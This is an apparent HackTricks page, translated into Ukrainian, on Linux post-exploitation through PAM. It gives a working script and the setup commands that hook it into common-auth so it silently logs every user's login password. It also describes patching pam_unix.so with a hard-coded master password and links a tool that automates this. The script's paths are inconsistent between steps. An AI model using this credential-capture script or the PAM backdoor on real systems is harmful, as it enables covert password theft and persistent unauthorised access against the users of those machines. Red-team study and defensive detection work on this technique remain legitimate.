Linux Post-Exploitation
Reading time: 3 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Перехоплення паролів для входу з PAM
Давайте налаштуємо модуль PAM для запису кожного пароля, який використовує користувач для входу. Якщо ви не знаєте, що таке PAM, перегляньте:
PAM - Pluggable Authentication Modules
Для отримання додаткової інформації перегляньте оригінальний пост. Це лише короткий виклад:
Огляд техніки: Плагінові модулі аутентифікації (PAM) пропонують гнучкість у керуванні аутентифікацією на системах на базі Unix. Вони можуть підвищити безпеку, налаштовуючи процеси входу, але також можуть становити ризики у разі неправильного використання. Цей короткий виклад описує техніку захоплення облікових даних для входу за допомогою PAM, а також стратегії пом'якшення.
Захоплення облікових даних:
- Скрипт bash під назвою
toomanysecrets.sh
створено для запису спроб входу, захоплюючи дату, ім'я користувача ($PAM_USER
), пароль (через stdin) та IP-адресу віддаленого хоста ($PAM_RHOST
) у/var/log/toomanysecrets.log
. - Скрипт робиться виконуваним і інтегрується в конфігурацію PAM (
common-auth
) за допомогою модуляpam_exec.so
з параметрами для тихого виконання та відкриття токена аутентифікації для скрипта. - Цей підхід демонструє, як скомпрометований Linux-хост може бути використаний для тихого запису облікових даних.
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh
Backdooring PAM
Для отримання додаткової інформації перегляньте оригінальний пост. Це лише резюме:
Pluggable Authentication Module (PAM) - це система, що використовується в Linux для аутентифікації користувачів. Вона працює на трьох основних концепціях: ім'я користувача, пароль та послуга. Файли конфігурації для кожної служби розташовані в каталозі /etc/pam.d/
, де спільні бібліотеки обробляють аутентифікацію.
Мета: Модифікувати PAM, щоб дозволити аутентифікацію з певним паролем, обходячи фактичний пароль користувача. Це особливо зосереджено на спільній бібліотеці pam_unix.so
, яка використовується файлом common-auth
, що включається майже всіма службами для перевірки паролів.
Кроки для модифікації pam_unix.so
:
- Знайдіть директиву аутентифікації у файлі
common-auth
:
- Рядок, відповідальний за перевірку пароля користувача, викликає
pam_unix.so
.
- Модифікуйте вихідний код:
- Додайте умовний оператор у вихідний файл
pam_unix_auth.c
, який надає доступ, якщо використовується заздалегідь визначений пароль, в іншому випадку продовжує звичайний процес аутентифікації.
- Перекомпілюйте та замініть модифіковану бібліотеку
pam_unix.so
у відповідному каталозі. - Тестування:
- Доступ надається через різні служби (вхід, ssh, sudo, su, захисник екрану) з заздалегідь визначеним паролем, тоді як звичайні процеси аутентифікації залишаються незмінними.
note
Ви можете автоматизувати цей процес за допомогою https://github.com/zephrax/linux-pam-backdoor
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.